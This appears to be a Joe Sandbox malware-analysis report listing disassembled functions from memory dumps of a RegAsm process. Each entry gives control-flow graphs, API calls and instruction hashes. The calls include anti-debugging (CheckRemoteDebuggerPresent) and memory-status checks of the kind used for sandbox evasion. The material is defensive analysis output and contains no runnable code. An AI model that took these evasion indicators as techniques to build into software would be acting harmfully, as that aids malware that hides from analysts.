                                                        Function 066B7058 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 538 66b7058-66b705a 539 66b7060-66b70f4 DuplicateHandle 538->539 540 66b70fd-66b711a 539->540 541 66b70f6-66b70fc 539->541 541->540
                                                        APIs
                                                        • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,066B7026,?,?,?,?,?), ref: 066B70E7
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714700527.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66b0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID: DuplicateHandle
                                                        • String ID:
                                                        • API String ID: 3793708945-0
                                                        • Opcode ID: 1e13df71b43d150f1b1a26a1ab6c18f08675c1a270622ff6fde9c56d10a8c06b
                                                        • Instruction ID: 5f2deaf215ad112ebb81629ccb987dec50c0a98f78541802abc5ef4125c01769
                                                        • Opcode Fuzzy Hash: 1e13df71b43d150f1b1a26a1ab6c18f08675c1a270622ff6fde9c56d10a8c06b
                                                        • Instruction Fuzzy Hash: 5921F2B59002499FDB10CFAAD884ADEBFF8EB48320F14841AE914A3310D375A940CFA0
                                                        Function 011B70A8 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 532 11b70a8-11b7134 CheckRemoteDebuggerPresent 534 11b713d-11b7178 532->534 535 11b7136-11b713c 532->535 535->534
                                                        APIs
                                                        • CheckRemoteDebuggerPresent.KERNEL32(00000000,?), ref: 011B7127
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2699635991.00000000011B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_11b0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID: CheckDebuggerPresentRemote
                                                        • String ID:
                                                        • API String ID: 3662101638-0
                                                        • Opcode ID: 4eea26910dd987fa8f627f61c49d16b4b86b45c0bae32221a5ca06cc48df0194
                                                        • Instruction ID: 8b0a6b450d1c456b8d633e944c5260c52d66f94870800a5be2d83348a0247b8e
                                                        • Opcode Fuzzy Hash: 4eea26910dd987fa8f627f61c49d16b4b86b45c0bae32221a5ca06cc48df0194
                                                        • Instruction Fuzzy Hash: 022148B680125A8FDB04CFAAD884BEEFBF5AF48221F15845AD458B7390C7389944CF60
                                                        Function 066BF678 Relevance: 1.6, APIs: 1, Instructions: 58libraryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 544 66bf678-66bf6c0 546 66bf6c8-66bf6f7 LoadLibraryExW 544->546 547 66bf6c2-66bf6c5 544->547 548 66bf6f9-66bf6ff 546->548 549 66bf700-66bf71d 546->549 547->546 548->549
                                                        APIs
                                                        • LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,066BF4F9,00000800,00000000,00000000), ref: 066BF6EA
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714700527.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66b0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID: LibraryLoad
                                                        • String ID:
                                                        • API String ID: 1029625771-0
                                                        • Opcode ID: 49bea97881be9bf37e8641fd409f32af9387d92549ccac4e05b27f15b6cbd1c8
                                                        • Instruction ID: 3b1c0fb025274b227805a6daa86d24744be5b70d9c39594c5ba2f0f19df9b82e
                                                        • Opcode Fuzzy Hash: 49bea97881be9bf37e8641fd409f32af9387d92549ccac4e05b27f15b6cbd1c8
                                                        • Instruction Fuzzy Hash: AF2117B6C003099FDB10DFAAD844ADEFBF8EB48720F10841ED519A7210D775A545CFA5
                                                        Function 066BE1A0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 552 66be1a0-66bf6c0 554 66bf6c8-66bf6f7 LoadLibraryExW 552->554 555 66bf6c2-66bf6c5 552->555 556 66bf6f9-66bf6ff 554->556 557 66bf700-66bf71d 554->557 555->554 556->557
                                                        APIs
                                                        • LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,066BF4F9,00000800,00000000,00000000), ref: 066BF6EA
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714700527.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66b0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID: LibraryLoad
                                                        • String ID:
                                                        • API String ID: 1029625771-0
                                                        • Opcode ID: d7996bbf17ed9a657b8cb71cc5f370f2153550c012c9d1e4b913d8953261273f
                                                        • Instruction ID: 549953a35e42ae57dbb187689291e885ce80deccda0ad87adce430e6ca7c5f6d
                                                        • Opcode Fuzzy Hash: d7996bbf17ed9a657b8cb71cc5f370f2153550c012c9d1e4b913d8953261273f
                                                        • Instruction Fuzzy Hash: B011F4B6D002499FDB10CF9AD844ADEBBF4EB48710F10842ED915A7210D375A545CFA5
                                                        Function 011BF390 Relevance: 1.6, APIs: 1, Instructions: 52COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 560 11bf390-11bf404 GlobalMemoryStatusEx 562 11bf40d-11bf435 560->562 563 11bf406-11bf40c 560->563 563->562
                                                        APIs
                                                        • GlobalMemoryStatusEx.KERNEL32 ref: 011BF3F7
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2699635991.00000000011B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_11b0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID: GlobalMemoryStatus
                                                        • String ID:
                                                        • API String ID: 1890195054-0
                                                        • Opcode ID: dbd239d58777b22e698f5c52967787e77936e52503038de3731f63bc092dd373
                                                        • Instruction ID: 64828baf5678812c4c34d694a68c74dab9ddc6eadfd88bf2467b3e0e6c3b4170
                                                        • Opcode Fuzzy Hash: dbd239d58777b22e698f5c52967787e77936e52503038de3731f63bc092dd373
                                                        • Instruction Fuzzy Hash: 7E111FB1C0065A9BDB14DFAAD844BDEFBF4AF48720F14812AD918A7240D778A945CFA1
                                                        Function 066BF418 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 566 66bf418-66bf458 568 66bf45a-66bf45d 566->568 569 66bf460-66bf48b GetModuleHandleW 566->569 568->569 570 66bf48d-66bf493 569->570 571 66bf494-66bf4a8 569->571 570->571
                                                        APIs
                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 066BF47E
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714700527.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66b0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID: HandleModule
                                                        • String ID:
                                                        • API String ID: 4139908857-0
                                                        • Opcode ID: 7651cb6112f2e572bcca2430d8a8f5ddf80d4f8267ff4020844fb6d585f94d2e
                                                        • Instruction ID: 0e6566de35a2bf7b5413832955538d2a40346c8424a7ed6bdae366ce2bb27bb8
                                                        • Opcode Fuzzy Hash: 7651cb6112f2e572bcca2430d8a8f5ddf80d4f8267ff4020844fb6d585f94d2e
                                                        • Instruction Fuzzy Hash: 3A110FB6C003498FCB10CF9AC944ADEFBF4EB88624F10841AD418A7610C378A545CFA1
                                                        Function 066CD018 Relevance: .8, Instructions: 801COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 2d7bb6d48dc8abd32f7d7d465dee4edee8897b2bf8189f60409da9231ecd19fe
                                                        • Instruction ID: 4dc33020d3bbb023ab09ab44d92f0fa4211e7fb42ad71ddd950154960b7f22e7
                                                        • Opcode Fuzzy Hash: 2d7bb6d48dc8abd32f7d7d465dee4edee8897b2bf8189f60409da9231ecd19fe
                                                        • Instruction Fuzzy Hash: 47627C30A0071A8FDB55EF68D580A6EB7B2FF84314F209A29D8059F758DB75EC46CB81
                                                        Function 066CB718 Relevance: .5, Instructions: 467COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 0cf035f22115aaba70f3d9cd6d7fa3fe2da40dca1c13400467e38078c9a56e98
                                                        • Instruction ID: 27330e3f1bbc1f6b14ef538bab2cf6f3c44293ec578b8faec67ae8b6a81ad6c9
                                                        • Opcode Fuzzy Hash: 0cf035f22115aaba70f3d9cd6d7fa3fe2da40dca1c13400467e38078c9a56e98
                                                        • Instruction Fuzzy Hash: 68026930E106198FDBA4DFA8D4816BDB7B2FB85320F24856AD815EB345DB35EC81CB91
                                                        Function 066C2B9E Relevance: .5, Instructions: 458COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 0258df329d625f21a52d5d1d6e88c875f64b91d025744c05a3de19ee91e0d3ec
                                                        • Instruction ID: d29869168770f3eae3ca895ba5230d9265d61136385a179c752cdc8a683d7b93
                                                        • Opcode Fuzzy Hash: 0258df329d625f21a52d5d1d6e88c875f64b91d025744c05a3de19ee91e0d3ec
                                                        • Instruction Fuzzy Hash: F8125830A007148FCB64DB64C594A6DBBF2FF84325F54C4A9D81AAB351DB36ED85CB90
                                                        Function 066CAD98 Relevance: .4, Instructions: 393COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 244015b0f1a0325759cef39255fdfa384b8dc2362059fd943c6b19b5316e9a85
                                                        • Instruction ID: 2e8833b5ea5cb817c6ac9a6165457f95e33461f4bad3c66f49d3225853f584fb
                                                        • Opcode Fuzzy Hash: 244015b0f1a0325759cef39255fdfa384b8dc2362059fd943c6b19b5316e9a85
                                                        • Instruction Fuzzy Hash: D7E16E30E1071A8FDB69DFA8D5906AEB7B2FF88314F108529D816EB344DB359C46CB91
                                                        Function 066C9218 Relevance: .2, Instructions: 231COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: b6037ac45470750c7f3f4dfc4e6f8e891d341592d810b5f7f793e1a2f18e0351
                                                        • Instruction ID: 902e6d7fda6e34140e5a7a71dfebc610644bad448765de72de319d14e2673bd6
                                                        • Opcode Fuzzy Hash: b6037ac45470750c7f3f4dfc4e6f8e891d341592d810b5f7f793e1a2f18e0351
                                                        • Instruction Fuzzy Hash: 90914E30B1161A8FDB94DF68D8607AEB7B6EF85310F108569C809EB344EE319D869B91
                                                        Function 066C5EB8 Relevance: .2, Instructions: 229COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 96ae610d51bb996707b38e763c8865eb0b53e8d61e4d9b10a3e501908411b781
                                                        • Instruction ID: 4f09b950d06b5b4abd706e4288d56db4505ef056792a1fd6d7f1564d2f065699
                                                        • Opcode Fuzzy Hash: 96ae610d51bb996707b38e763c8865eb0b53e8d61e4d9b10a3e501908411b781
                                                        • Instruction Fuzzy Hash: 7361B1B1F005214FDF54AA6DCC40A6EBADBEFC4620B15443AD80ADB3A0DE65FD4287D5
                                                        Function 066C3F59 Relevance: .2, Instructions: 223COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 0b4043a6e498fa1ce8188069f9b553975d85a1b92b6dd0fa9ad940dcab112306
                                                        • Instruction ID: 008c3e172eac9c0251aedfd0d8bd46a3588db2cf66b4bc73c2436ba05d5e8181
                                                        • Opcode Fuzzy Hash: 0b4043a6e498fa1ce8188069f9b553975d85a1b92b6dd0fa9ad940dcab112306
                                                        • Instruction Fuzzy Hash: E5811F30B1060A8FDB54DBA5D46476EBBF6EF89314F108529D80AEB344DF35DC428B91
                                                        Function 066C4274 Relevance: .2, Instructions: 220COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 1db9ca046cb02cf12aef93ce1c68a5f67afeb73c4eaa6e51757fef3f6fef39a0
                                                        • Instruction ID: e919e45814f1578a17e83a67b0250932ddef0d71695af26c5000c78604c3e1f9
                                                        • Opcode Fuzzy Hash: 1db9ca046cb02cf12aef93ce1c68a5f67afeb73c4eaa6e51757fef3f6fef39a0
                                                        • Instruction Fuzzy Hash: 92915C30E106198BDF64DF68C890B9DB7B1FF89310F208699D449BB345DB71AD85CB90
                                                        Function 066C4288 Relevance: .2, Instructions: 210COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 365fcf18d2611b4725a7dac2b9437e494ca57c0c8e4116b03301b082a2ed02d0
                                                        • Instruction ID: e2db4354617585dc152f8af9b6314116f33902b42d907359db66fe44cd40d104
                                                        • Opcode Fuzzy Hash: 365fcf18d2611b4725a7dac2b9437e494ca57c0c8e4116b03301b082a2ed02d0
                                                        • Instruction Fuzzy Hash: 88914A30E1061A8BDF64DF68C890B9DB7B1FF89310F208699D509BB344DB71AE85CB90
                                                        Function 066CEBE1 Relevance: .2, Instructions: 204COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 37fa1c313af89e607e29d408268b95e034b50806b743af239b58e06008d71750
                                                        • Instruction ID: 6b50017841cff67812c1baa587cf29214734e58d09732294dd890dcedce344c4
                                                        • Opcode Fuzzy Hash: 37fa1c313af89e607e29d408268b95e034b50806b743af239b58e06008d71750
                                                        • Instruction Fuzzy Hash: 45714830A006499FDB58DFA9C980AADBBF6FF88314F248429E415EB355DB31E846CB54
                                                        Function 066CEBF0 Relevance: .2, Instructions: 201COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 34e31300040b3fb2282eb538ab63d5f2cb00c8337e4aa03f92d79219ddeeb915
                                                        • Instruction ID: 4153bc20240633002362a89e5d1d4346320683ab4f855104811e2be51a99c317
                                                        • Opcode Fuzzy Hash: 34e31300040b3fb2282eb538ab63d5f2cb00c8337e4aa03f92d79219ddeeb915
                                                        • Instruction Fuzzy Hash: 1F714A30A006499FDB58DFA9C980AADBBF6FF88314F248429E415EB354DB31EC46CB54
                                                        Function 066C4820 Relevance: .2, Instructions: 186COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 2ae70f502667a12489399ce0c0017c6b33b8fba260996fe0ac1feba86273a77e
                                                        • Instruction ID: 5446e911b992b99911fb75532025d886aafb875ff178260e0cf65dde2b67fe3e
                                                        • Opcode Fuzzy Hash: 2ae70f502667a12489399ce0c0017c6b33b8fba260996fe0ac1feba86273a77e
                                                        • Instruction Fuzzy Hash: F5617C30E002199FEB55DBA5C8547AEBAF6FBC8350F208429E51AEB394DF758C418B94
                                                        Function 066CFD58 Relevance: .2, Instructions: 176COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: aa0fb72dca60aa9a343e58e7d71d5a6fc34b49b80b442a7d49c3d5b0b2db45fe
                                                        • Instruction ID: 0b9742db3b2bdf1232de7f240fd1c2e9502780829906935e17f5202e0799042a
                                                        • Opcode Fuzzy Hash: aa0fb72dca60aa9a343e58e7d71d5a6fc34b49b80b442a7d49c3d5b0b2db45fe
                                                        • Instruction Fuzzy Hash: DA51AE31E006059FDB58EB78E4846ADBBB3EF89325F10886EE116D7250DB359955CB80
                                                        Function 066C9208 Relevance: .2, Instructions: 173COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 44f39381568c956f6543442d1725a581cf156a994c8169affe059702e117cab6
                                                        • Instruction ID: b52a3a1d244ea7f8086943ea4a5149b6000ced5e6900c2b76eb027289a50b70d
                                                        • Opcode Fuzzy Hash: 44f39381568c956f6543442d1725a581cf156a994c8169affe059702e117cab6
                                                        • Instruction Fuzzy Hash: 9F515F30B116169FDB94EB68D860BAE77F6FF88710F108569D80AE7344EE35DC429B90
                                                        Function 066CF700 Relevance: .2, Instructions: 170COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 5c1cfe51c844e0394636bc0a378f9453172bed9587e7f42d7feca56a74db42b8
                                                        • Instruction ID: 3ecb492f7583621d272c2ed75d61344b5c2ddfb7267a90338393aefba50c5e3b
                                                        • Opcode Fuzzy Hash: 5c1cfe51c844e0394636bc0a378f9453172bed9587e7f42d7feca56a74db42b8
                                                        • Instruction Fuzzy Hash: 1551B130B10214AFEF646668D994B7E766BDBCD721F60042AE00AC7795CF39CC41A3A2
                                                        Function 066CF710 Relevance: .2, Instructions: 163COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 1e140a4a22914ab5c3396cc8d2f314b7ebf6eb26336531263e3ac51ec0943348
                                                        • Instruction ID: 7a8d6708b5c33909c8d5ac1ee87d9f6e332c362e72bd39b11f7349eccca00e17
                                                        • Opcode Fuzzy Hash: 1e140a4a22914ab5c3396cc8d2f314b7ebf6eb26336531263e3ac51ec0943348
                                                        • Instruction Fuzzy Hash: C151C130B10214ABFF646668D994B3E766BDBCD720F60042EE00AC7794CF39CC41A3A2
                                                        Function 066C5249 Relevance: .2, Instructions: 150COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 840008795a3d0bd14365cfc520d5e00a84634becf7a2e2b0aa6dbdeba8341523
                                                        • Instruction ID: 068854693f0e38044f178690c204dc00b58cdba286803b7b818d419b6055cca6
                                                        • Opcode Fuzzy Hash: 840008795a3d0bd14365cfc520d5e00a84634becf7a2e2b0aa6dbdeba8341523
                                                        • Instruction Fuzzy Hash: 0951A570E109158BDF64CB64C88077EBBB2FB45320F24852AE45AD7385D779EC61CB91
                                                        Function 066C50C8 Relevance: .1, Instructions: 135COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: ac874ddd517ad665f33691d263990110d79da4cf903db0fb6ee479b09ef54a57
                                                        • Instruction ID: 0d30e09b652403bbcc54784c6006ce593c023318078336d94a97f116e6fdcc4a
                                                        • Opcode Fuzzy Hash: ac874ddd517ad665f33691d263990110d79da4cf903db0fb6ee479b09ef54a57
                                                        • Instruction Fuzzy Hash: B7417E31E00A099FDF60CFA9DC84ABFF7F2FB95220F10492AE116D7640D334A9658B91
                                                        Function 066C4810 Relevance: .1, Instructions: 131COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 039098183b8eda87e6a9de4f63e626620fdfaa34586028add728fc03523727aa
                                                        • Instruction ID: ae061d1a0e64eab4022f354175deb3acc98df5231346664bbf16aac7c0980285
                                                        • Opcode Fuzzy Hash: 039098183b8eda87e6a9de4f63e626620fdfaa34586028add728fc03523727aa
                                                        • Instruction Fuzzy Hash: 96415E30A102199FDB55AFA9C854BAEBBF6FF88700F208529D505AB394DF759C418B90
                                                        Function 066CDB85 Relevance: .1, Instructions: 127COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: b09cf5a7d659844f26f31b69b227b021c082b4df5d84c758727a77dd4d6181e6
                                                        • Instruction ID: e19fecc139dd60efb113dea1ac831e668165d6977871a5e024030d7ca427b0df
                                                        • Opcode Fuzzy Hash: b09cf5a7d659844f26f31b69b227b021c082b4df5d84c758727a77dd4d6181e6
                                                        • Instruction Fuzzy Hash: D1419030E0074A9FDB65DFA5C4446AEBBB6FF85750F20493AD811EB340DB709842CB81
                                                        Function 066C22A8 Relevance: .1, Instructions: 105COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 03b4b864a60bb7e3eeb9f02c5482348a6aebb0b06a637acd1724935c66ad702e
                                                        • Instruction ID: 2bc0514d81ea744b3de60172da641c1633bcc2be2ba9e39dff2d00663b0b84e3
                                                        • Opcode Fuzzy Hash: 03b4b864a60bb7e3eeb9f02c5482348a6aebb0b06a637acd1724935c66ad702e
                                                        • Instruction Fuzzy Hash: A531C130B007058FDB58AB74C56466F7BA7FB88650B14886CD806EB344DF35CD41DB95
                                                        Function 066C2158 Relevance: .1, Instructions: 95COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: bc5dd1e98c28fcd00346e88ad8cf1c029e83b98c35fb183977acdf08cebc9396
                                                        • Instruction ID: d2778e65d7c1b83783d837296101c6180e11241994a8a7e485698f7162a3d2a4
                                                        • Opcode Fuzzy Hash: bc5dd1e98c28fcd00346e88ad8cf1c029e83b98c35fb183977acdf08cebc9396
                                                        • Instruction Fuzzy Hash: 97319230E106169FCB44CFA8D8A46AEB7B6FF89310F10851DE906EB740DB75AD45CB40
                                                        Function 066C2168 Relevance: .1, Instructions: 91COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: e1c351237bf858b81bba9e21b655d80130dfbe4c5f8e06d8f04d9086252503e6
                                                        • Instruction ID: 165b263d1da508f8f6c04fa2844100c27fd7e9c9413220e4c444677210070554
                                                        • Opcode Fuzzy Hash: e1c351237bf858b81bba9e21b655d80130dfbe4c5f8e06d8f04d9086252503e6
                                                        • Instruction Fuzzy Hash: 4B318030E106169FCB44CFA4C8646AEB7B6FF89310F10851DE906EB740DB75AD46CB80
                                                        Function 066C3B61 Relevance: .1, Instructions: 81COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
